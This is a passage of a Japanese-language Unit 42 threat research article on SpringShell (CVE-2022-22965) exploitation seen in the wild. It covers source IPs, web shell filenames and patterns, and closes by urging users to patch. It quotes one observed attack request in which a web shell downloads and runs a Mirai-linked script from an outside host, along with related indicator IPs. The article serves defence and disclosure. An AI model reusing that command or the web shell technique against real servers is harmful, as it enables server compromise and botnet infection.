style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">195.246.120[.]148<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">865<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">176.125.229[.]145<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt; color: #999999;\"><i><span style=\"font-weight: 400;\">\u88682 Spring Core Remote Code Execution Vulnerability\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u30c8\u30ea\u30ac\u30fc\u3057\u305f\u63a5\u7d9a\u5143IP\u4e0a\u4f4d15<\/span><\/i><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Spring Core Remote Code Execution Vulnerability\u306e\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u30c8\u30ea\u30ac\u30fc\u3057\u305f31,953\u500b\u306e\u30d1\u30b1\u30c3\u30c8\u30ad\u30e3\u30d7\u30c1\u30e3\u3092\u89e3\u6790\u3057\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306b\u6210\u529f\u3057\u305f\u5834\u5408\u306b\u30b5\u30fc\u30d0\u30fc\u306b\u4fdd\u5b58\u3055\u308c\u308bWeb\u30b7\u30a7\u30eb\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3068Web\u30b7\u30a7\u30eb\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3068\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002\u591a\u304f\u306e\u5834\u5408\u3001Web\u30b7\u30a7\u30eb\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u306b\u306f <\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">.jsp<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u62e1\u5f35\u5b50\u304c\u4e0e\u3048\u3089\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u306b\u3088\u308a\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u305fWeb\u30b7\u30a7\u30eb\u304c\u6709\u52b9\u306b\u6a5f\u80fd\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002\u305f\u3060\u3057\u591a\u304f\u306e\u30b1\u30fc\u30b9\u3067\u306f\u30d5\u30a1\u30a4\u30eb\u540d\u306b\u306fWeb\u30b7\u30a7\u30eb\u306b\u306f\u5bfe\u5fdc\u3057\u306a\u3044\u62e1\u5f35\u5b50\u3001\u305f\u3068\u3048\u3070 <\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">.js<\/span><span style=\"font-weight: 400;\">\u3084<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">.txt<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3063\u305f\u62e1\u5f35\u5b50\u304c\u4e0e\u3048\u3089\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306f\u304a\u305d\u3089\u304f\u8106\u5f31\u306a\u30b5\u30fc\u30d0\u30fc\u306e\u767a\u898b\u306e\u305f\u3081\u306b\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6210\u529f\u53ef\u5426\u3092\u793a\u3059\u76ee\u7684\u3067\u4f7f\u7528\u3055\u308c\u305f\u3082\u306e\u3068\u63a8\u6e2c\u3055\u308c\u307e\u3059\u3002\u672c\u7a3f\u57f7\u7b46\u6642\u70b9\u3067\u306f\u300195\u7a2e\u985e\u306e\u4e00\u610f\u306aWeb\u30b7\u30a7\u30eb\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306f<a href=\"#indicators\">IoC<\/a>\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u8a18\u8f09\u3057\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u5927\u90e8\u5206\u306f<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">tomcarwar.jsp<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u540d\u3067\u3057\u305f\u3002\u3053\u306e\u540d\u524d\u306f\u6700\u521d\u306e\u6982\u5ff5\u5b9f\u8a3c(PoC)\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u4f7f\u7528\u3055\u308c\u305f\u3082\u306e\u3067\u3001\u89b3\u6e2c\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u306e57%\u4ee5\u4e0a\u3092\u5360\u3081\u307e\u3059\u3002\u5b9f\u969b\u3001\u4e0a\u4f4d3\u3064\u306e\u30d5\u30a1\u30a4\u30eb\u540d(<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">tomcarwar.jsp<\/span><span style=\"font-weight: 400;\">\u3001<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">checkexploit.jsp<\/span><span style=\"font-weight: 400;\">\u3001<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">javatestfila.jsp<\/span><span style=\"font-weight: 400;\">)\u306f\u3001\u65e2\u77e5\u306eWeb\u30b7\u30a7\u30eb\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u4f7f\u3046\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e84\uff05\u4ee5\u4e0a\u3092\u5360\u3081\u3066\u3044\u307e\u3057\u305f\u3002<\/span><span style=\"font-weight: 400;\">\u56f313<\/span><span style=\"font-weight: 400;\">\u306e\u5186\u30b0\u30e9\u30d5\u306f\u3001\u3082\u3063\u3068\u3082\u4e00\u822c\u7684\u306a\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30cf\u30a4\u30ec\u30d9\u30eb\u306a\u5185\u8a33\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/span><\/p>\n<figure id=\"attachment_122635\" aria-describedby=\"caption-attachment-122635\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122636 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/04\/Figure-13-ja.png\" alt=\"SpringShell\u306b\u95a2\u9023\u3057\u3066\u89b3\u6e2c\u3055\u308c\u305f\u3082\u3063\u3068\u3082\u4e00\u822c\u7684\u306aweb\u30b7\u30a7\u30eb\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u793a\u3059\u5186\u30b0\u30e9\u30d5\" width=\"600\" height=\"371\" \/><figcaption id=\"caption-attachment-122635\" class=\"wp-caption-text\">\u56f313. \u89b3\u6e2c\u3055\u308c\u305f\u3082\u3063\u3068\u3082\u4e00\u822c\u7684\u306aweb\u30b7\u30a7\u30eb\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u793a\u3059\u5186\u30b0\u30e9\u30d5<\/figcaption><\/figure>\n<p><span style=\"font-weight: 400;\">\u89e3\u6790\u3057\u305f\u30d1\u30b1\u30c3\u30c8\u306e\u5927\u534a\u3067\u3001Web\u30b7\u30a7\u30eb\u306e\u5185\u5bb9\u306f<\/span><a href=\"https:\/\/github.com\/craig\/SpringCore0day\/blob\/main\/exp.py\"><span style=\"font-weight: 400;\">\u30aa\u30ea\u30b8\u30ca\u30eb\u306e\u6982\u5ff5\u5b9f\u8a3c\u7528\u30b9\u30af\u30ea\u30d7\u30c8<\/span><\/a><span style=\"font-weight: 400;\">\u306eWeb\u30b7\u30a7\u30eb\u3068\u5927\u5dee\u306a\u3044\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f(<\/span><span style=\"font-weight: 400;\">\u56f314\u53c2\u7167<\/span><span style=\"font-weight: 400;\">)\u3002\u30c6\u30ec\u30e1\u30c8\u30ea\u3067\u591a\u6570\u89b3\u6e2c\u3055\u308c\u305f\u3082\u30461\u3064\u306eWeb\u30b7\u30a7\u30eb\u306f\u3001Web\u30b7\u30a7\u30eb\u304c\u4f7f\u7528\u3059\u308bHTTP\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u5024\u304c\u7570\u306a\u308b\u3060\u3051\u3067\u5168\u304f\u540c\u3058\u3082\u306e\u3067\u3057\u305f(<\/span><span style=\"font-weight: 400;\">\u56f315\u53c2\u7167<\/span>)\u3002<\/p>\n<figure id=\"attachment_122637\" aria-describedby=\"caption-attachment-122637\" style=\"width: 603px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122638 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/Figure-14.png\" alt=\"\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u898b\u3089\u308c\u305fWeb\u30b7\u30a7\u30eb\u30d1\u30bf\u30fc\u30f3\u3002CVE-2022-22965\u7528\u306e\u30aa\u30ea\u30b8\u30ca\u30eb\u306ePoC\u30b9\u30af\u30ea\u30d7\u30c8\u304b\u3089\u306e\u3082\u306e\" width=\"603\" height=\"68\" \/><figcaption id=\"caption-attachment-122637\" class=\"wp-caption-text\">\u56f314 \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u898b\u3089\u308c\u305fWeb\u30b7\u30a7\u30eb\u30d1\u30bf\u30fc\u30f3\u3002\u30aa\u30ea\u30b8\u30ca\u30eb\u306ePoC\u30b9\u30af\u30ea\u30d7\u30c8\u304b\u3089\u306e\u3082\u306e<\/figcaption><\/figure>\n<figure id=\"attachment_122639\" aria-describedby=\"caption-attachment-122639\" style=\"width: 612px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122640 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/Figure-15.png\" alt=\"\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u898b\u3089\u308c\u305fWeb\u30b7\u30a7\u30eb\u30d1\u30bf\u30fc\u30f3\u3002\u30aa\u30ea\u30b8\u30ca\u30eb\u306ePoC\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u82e5\u5e72\u4fee\u6b63\u3092\u52a0\u3048\u3066\u3042\u308b\" width=\"612\" height=\"75\" \/><figcaption id=\"caption-attachment-122639\" class=\"wp-caption-text\">\u56f315 \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u898b\u3089\u308c\u305fWeb\u30b7\u30a7\u30eb\u30d1\u30bf\u30fc\u30f3\u3002\u30aa\u30ea\u30b8\u30ca\u30eb\u306ePoC\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u82e5\u5e72\u4fee\u6b63\u3092\u52a0\u3048\u3066\u3042\u308b<\/figcaption><\/figure>\n<p><span style=\"font-weight: 400;\">\u307e\u305f\u3001\u6700\u521d\u306ePoC\u7528Web\u30b7\u30a7\u30eb\u3092\u6539\u5909\u3057\u305f\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u4f7f\u7528\u3059\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3082\u591a\u6570\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/span><span style=\"font-weight: 400;\">\u56f316<\/span><span style=\"font-weight: 400;\">\u306f\u3001\u5b9f\u969b\u306b\u89b3\u6e2c\u3057\u305f\u30b3\u30f3\u30c6\u30c4\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u304c\u3001\u3053\u308c\u3089\u306fWeb\u30b7\u30a7\u30eb\u3068\u306f\u307f\u306a\u305b\u307e\u305b\u3093\u3002<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">SPRING_CORE_RCE<\/span><span style=\"font-weight: 400;\">\u3068\u8868\u793a\u3059\u308b\u4ee5\u4e0a\u306e\u3053\u3068\u306f\u4f55\u3082\u3057\u306a\u3044\u305f\u3081\u3067\u3059\u3002Web\u30b7\u30a7\u30eb\u6a5f\u80fd\u304c\u306a\u3044\u3053\u3068\u304b\u3089\u3001\u3053\u308c\u306fSpringShell\u306b\u8106\u5f31\u306a\u30b5\u30fc\u30d0\u30fc\u3092\u767a\u898b\u3057\u3088\u3046\u3068\u3059\u308b\u30b9\u30ad\u30e3\u30ca\u304c\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u305f\u3082\u306e\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/span><\/p>\n<figure id=\"attachment_122641\" aria-describedby=\"caption-attachment-122641\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122642 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/Figure-16.png\" alt=\"\u8106\u5f31\u306a\u30b5\u30fc\u30d0\u30fc\u306e\u767a\u898b\u76ee\u7684\u3067\u4f7f\u308f\u308c\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u89b3\u6e2c\u3055\u308c\u305f\u30d1\u30bf\u30fc\u30f3\" width=\"600\" height=\"32\" \/><figcaption id=\"caption-attachment-122641\" class=\"wp-caption-text\">\u56f316. \u8106\u5f31\u306a\u30b5\u30fc\u30d0\u30fc\u306e\u767a\u898b\u76ee\u7684\u3067\u4f7f\u308f\u308c\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u89b3\u6e2c\u3055\u308c\u305f\u30d1\u30bf\u30fc\u30f3<\/figcaption><\/figure>\n<p><span style=\"font-weight: 400;\">\u307e\u305f\u6700\u8fd1\u3067\u306f<\/span><span style=\"font-weight: 400;\">\u56f317\u306e\u3088\u3046\u306aWeb\u30b7\u30a7\u30eb\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u5897\u52a0\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f<\/span><a href=\"https:\/\/github.com\/k3rwin\/spring-core-rce\/blob\/master\/spring-core-rce.py\"><span style=\"font-weight: 400;\">K3rwin\u306b\u3088\u308b\u3079\u3064\u306e\u6982\u5ff5\u5b9f\u8a3c\u30b9\u30af\u30ea\u30d7\u30c8<\/span><\/a><span style=\"font-weight: 400;\">\u3067\u3059\u3002\u3053\u306e\u7279\u5b9a\u306eWeb\u30b7\u30a7\u30eb\u306f\u3001\u30a2\u30af\u30bf\u30fc\u306e\u307b\u3057\u304c\u308b\u6a5f\u80fd\u3092\u542b\u3080base64\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30af\u30e9\u30b9\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u3053\u306e\u7279\u5b9aWeb\u30b7\u30a7\u30eb\u306f\u3001<\/span><a href=\"https:\/\/github.com\/AntSwordProject\/AntSword-JSP-Template\/blob\/master\/web\/shell.jsp\"><span style=\"font-weight: 400;\">AntSword\u306e<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">shell.jsp<\/span><\/a><span style=\"font-weight: 400;\">\u3092\u30d9\u30fc\u30b9\u306b\u3057\u305f\u3082\u306e\u3067\u3001<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">ant<\/span><span style=\"font-weight: 400;\">\u306e\u304b\u308f\u308a\u306b<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">k3rwin<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u4f7f\u7528\u3057\u3066\u30af\u30e9\u30b9\u3092\u30ed\u30fc\u30c9\u3059\u308b\u3088\u3046\u6539\u5909\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<figure id=\"attachment_122643\" aria-describedby=\"caption-attachment-122643\" style=\"width: 601px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122644 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/Figure-17.png\" alt=\"\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u898b\u3089\u308c\u305fWeb\u30b7\u30a7\u30eb\u30d1\u30bf\u30fc\u30f3\u3002K3rwin\u306b\u3088\u308bPoC\u30b9\u30af\u30ea\u30d7\u30c8\u304b\u3089\u306e\u3082\u306e\" width=\"601\" height=\"162\" \/><figcaption id=\"caption-attachment-122643\" class=\"wp-caption-text\">\u56f317. \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3067\u898b\u3089\u308c\u305fWeb\u30b7\u30a7\u30eb\u30d1\u30bf\u30fc\u30f3\u3002K3rwin\u306b\u3088\u308bPoC\u30b9\u30af\u30ea\u30d7\u30c8\u304b\u3089\u306e\u3082\u306e<\/figcaption><\/figure>\n<p><span style=\"font-weight: 400;\">SpringShell\u306b\u95a2\u9023\u3059\u308b\u30c6\u30ec\u30e1\u30c8\u30ea\u3067\u79c1\u305f\u3061\u304c\u78ba\u8a8d\u3057\u305f\u552f\u4e00\u306e\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306f\u3001<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">tomcatwar.jsp<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u542b\u3080URL\u3078\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u3001\u3053\u308c\u306b\u306fSpringShell\u306e\u6982\u5ff5\u5b9f\u8a3c\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u306e\u95a2\u9023\u304c\u3042\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306f\u3001\u8907\u6570\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3092Web\u30b7\u30a7\u30eb\u306b\u4e0e\u3048\u3066\u5f53\u8a72Web\u30b7\u30a7\u30eb\u306b\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3055\u305b\u3001\u305d\u308c\u306b\u3088\u308a\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3055\u305b\u308b\u3001\u3068\u3044\u3046\u3082\u306e\u3067\u3057\u305f(\u4ee5\u4e0b\u53c2\u7167)\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">[IPV4 \u30a2\u30c9\u30ec\u30b9\u7701\u7565]:8080\/tomcatwar.jsp?pwd=j&amp;cmd=\/bin\/sh\/-c${IFS}'cd${IFS}\/tmp;wget${IFS}hxxp:\/\/107.174.133[.]167\/t.sh${IFS}-O-%a6sh${IFS}SpringCore;'<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u3055\u3089\u306b\u5206\u6790\u3057\u305f\u3068\u3053\u308d\u3001\u3053\u306e\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u306b\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">t.sh<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001Mirai \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306b\u95a2\u9023\u3059\u308b\u3082\u306e\u3067\u3057\u305f\u3002\u4e0a\u8a18\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306fIP\u30a2\u30c9\u30ec\u30b9<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">194.31.98[.]186<\/span><span style=\"font-weight: 400;\">\u304b\u3089\u9001\u4fe1\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u3053\u306eIP\u30a2\u30c9\u30ec\u30b9\u4e0a\u306b\u3082Mirai\u95a2\u9023\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002SpringShell\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3088\u3046\u3068\u3059\u308b<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">194.31.98[.]186<\/span><span style=\"font-weight: 400;\">\u304b\u3089\u306e\u30a4\u30f3\u30d0\u30a6\u30f3\u30c9\u8a66\u884c\u306f\u3001<\/span><span style=\"font-weight: 400;\">\u56f314<\/span><span style=\"font-weight: 400;\">\u306b\u793a\u3057\u305f\u30aa\u30ea\u30b8\u30ca\u30eb\u6982\u5ff5\u5b9f\u8a3c\u30b9\u30af\u30ea\u30d7\u30c8\u306eWeb\u30b7\u30a7\u30eb\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3092\u8a66\u307f\u3066\u3044\u307e\u3057\u305f\u3002\u5f0a\u793e\u306e\u30b7\u30b0\u30cd\u30c1\u30e3\u306f\u8106\u5f31\u6027\u306e\u6700\u521d\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3092\u30d6\u30ed\u30c3\u30af\u3057\u305f\u305f\u3081\u3001Mirai\u306b\u3088\u308bSpringShell\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u304c\u6210\u529f\u3057\u3066\u3044\u305f\u306e\u304b\u3069\u3046\u304b\u306f\u78ba\u8a8d\u3067\u304d\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/span><a href=\"https:\/\/blog.netlab.360.com\/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en\/\"><span style=\"font-weight: 400;\">Netlab 360<\/span><\/a><span style=\"font-weight: 400;\">\u3001<\/span><a href=\"https:\/\/www.trendmicro.com\/en_us\/research\/22\/d\/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html\"><span style=\"font-weight: 400;\">Trend Micro<\/span><\/a><span style=\"font-weight: 400;\">\u306e\u4e21\u793e\u306fSpringShell\u306e\u8106\u5f31\u6027\u306b\u95a2\u9023\u3057\u305fMirai\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u89b3\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u8105\u5a01\u9632\u5fa1\u30b7\u30b0\u30cd\u30c1\u30e3\u306e\u307b\u304b\u306bCortex XDR\u3067\u30c8\u30ea\u30ac\u30fc\u3055\u308c\u305f\u30a2\u30e9\u30fc\u30c8\u3082\u5206\u6790\u3057\u307e\u3057\u305f\u304c\u30014\u67084\u65e5\u304b\u30894\u67088\u65e5\u306b\u304b\u3051\u3066116\u4ef6\u306e\u30a4\u30d9\u30f3\u30c8\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u30a2\u30e9\u30fc\u30c8\u306e\u5927\u534a\u306f\u524d\u8ff0\u306e\u6982\u5ff5\u5b9f\u8a3c\u30c4\u30fc\u30eb\u30c6\u30b9\u30c8\u304c\u30c8\u30ea\u30ac\u30fc\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">spring4shell<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u540d\u306eDocker\u30b3\u30f3\u30c6\u30ca\u304c\u304b\u3089\u3080\u30a2\u30e9\u30fc\u30c8\u3082\u8907\u6570\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u304c\u3001\u3053\u308c\u3089\u306f <\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">\/helloworld<\/span><span style=\"font-weight: 400;\">\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u3082\u3061\u3001\u30ea\u30c3\u30b9\u30f3\u30dd\u30fc\u30c8\u304c tcp\/8080 \u306b\u306a\u3063\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306eDocker\u30b3\u30f3\u30c6\u30ca\u306f\u3001<\/span><a href=\"https:\/\/github.com\/reznok\/Spring4Shell-POC\"><span style=\"font-weight: 400;\">Spring4Shell-POC<\/span><\/a><span style=\"font-weight: 400;\">\u3068\u3044\u3063\u305f\u4e00\u822c\u516c\u958b\u6e08\u307fDocker\u30b3\u30f3\u30c6\u30ca\u3092\u4f7f\u3063\u305f\u5185\u90e8\u7684\u306a\u30c6\u30b9\u30c8\u8a66\u884c\u306e\u4e00\u74b0\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u30b7\u30b0\u30cd\u30c1\u30e3\u306fWeb\u30b7\u30a7\u30eb\u30d5\u30a1\u30a4\u30eb\u306e\u4f5c\u6210\u6642\u306b\u30c8\u30ea\u30ac\u30fc\u3055\u308c\u3066\u304a\u308a\u3001\u305d\u306e\u3055\u3044\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u66f8\u304d\u8fbc\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">\/usr\/local\/tomcat\/work\/Catalina\/localhost\/ROOT\/org\/apache\/jsp\/shell_jsp.java<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">\/usr\/local\/tomcat\/webapps\/ROOT\/shell_.jsp<\/span><\/p>\n<h2><a id=\"conclusion\"><\/a>\u7d50\u8ad6<\/h2>\n<p>SpringShell\u306b\u306f\u516c\u5f0f\u306bCVE-2022-22965\u304c\u5272\u308a\u5f53\u3066\u3089\u308c\u30012022\u5e743\u670831\u65e5\u306b\u30d1\u30c3\u30c1\u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u307e\u3057\u305f\u3002\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u5bb9\u6613\u3067\u3001\u95a2\u9023\u6280\u8853\u306e\u8a73\u7d30\u3082\u3059\u3079\u3066\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306b\u51fa\u56de\u3063\u3066\u3044\u308b\u306e\u3067\u3001SpringShell\u304c\u5b8c\u5168\u306b\u5175\u5668\u5316\u3055\u308c\u3001\u3055\u3089\u306b\u5927\u898f\u6a21\u306b\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002JDK\u306e\u30d0\u30fc\u30b8\u30e7\u30f39\u4ee5\u964d\u3068Spring Framework (\u307e\u305f\u306f\u305d\u306e\u6d3e\u751f\u88fd\u54c1)\u3092\u30d9\u30fc\u30b9\u306b\u3057\u305f\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3084\u88fd\u54c1\u3092\u6301\u3064\u958b\u767a\u8005\u3084\u30e6\u30fc\u30b6\u30fc\u306f\u65e9\u6025\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3059\u308b\u3053\u3068\u3092\u5f37\u304f\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n<p>CVE-2022-22963\u306fSpring Cloud Function\u306b\u304a\u3051\u308b\u5225\u306e\u8106\u5f31\u6027(\u53b3\u5bc6\u306b\u306fSpringShell\u306e\u4e00\u90e8\u3067\u306f\u306a\u3044)\u3067\u3059\u304c\u3001\u5883\u754c\u3067\u306e\u5bfe\u7b56\u3092\u78ba\u5b9f\u306b\u884c\u3048\u308b\u3088\u3046\u8105\u5a01\u9632\u5fa1\u30b7\u30b0\u30cd\u30c1\u30e3\u304c\u7528\u610f\u3055\u308c\u3066\u3044\u307e\u3059\u3002Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u3001\u6700\u8fd1\u516c\u8868\u3055\u308c\u305f\u4ed6\u306eSpring\u306e\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u60c5\u5831\u306b\u3064\u3044\u3066\u3082\u7a4d\u6975\u7684\u306b\u76e3\u8996\u3057\u3066\u304a\u308a\u3001\u65b0\u3057\u3044\u60c5\u5831\u304c\u5165\u308a\u6b21\u7b2c\u3001\u305d\u306e\u8a73\u7d30\u3092\u63d0\u4f9b\u3057\u3066\u3044\u304d\u307e\u3059\u3002<\/p>\n<p>Unit 